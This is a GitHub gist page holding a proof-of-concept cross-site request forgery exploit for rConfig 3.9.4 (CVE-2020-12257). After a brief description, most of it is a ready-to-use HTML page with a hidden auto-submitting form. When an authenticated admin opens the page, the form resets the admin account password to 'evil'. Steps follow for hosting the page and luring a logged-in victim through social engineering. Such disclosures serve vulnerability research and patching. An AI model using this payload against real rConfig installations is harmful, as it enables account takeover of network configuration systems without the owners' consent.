Instantly share code, notes, and snippets.

farid007 / Rconfig CSRF Exploit

Last active 2 years ago

Star

Code Revisions 5 Forks 1

Rconfig 3.9.4 CSRF

Rconfig CSRF Exploit

```
Cross-Site Request Forgery (CSRF) (CVE-2020-12257)

The rConfig 3.9.4 is vulnerable to cross-site request forgery (CSRF).
Due to no implementation of CSRF protection such as CSRF token.
An attacker can leverage this vulnerability by creating a form (add the user or delete the user or edit user)
and host this form on his server and share this form to victims through social engineering methods.
once the victims who are already authenticated to the rConfig clicks upon the form, unintended actions will be performed on the victim's be



Steps To Reproduce-:

1. Create a page with below contain.

<html>
  <title>
    This CSRF was found by Ghost_fh.
  </title>
  <body>
    <form action="https://192.168.56.101/lib/crud/userprocess.php" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="password" value="evil" />
      <input type="hidden" name="passconf" value="evil" />
      <input type="hidden" name="email" value="admin@domain.com" />
      <input type="hidden" name="ulevelid" value="9" /><!--this can be any number-->
      <input type="hidden" name="add" value="add" />
      <input type="hidden" name="editid" value="1" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

NOTE :- Change ip address

2. Host this form on the server.

3. click this form on the already authenticated rConfig page.

4. admin password will be reset.

```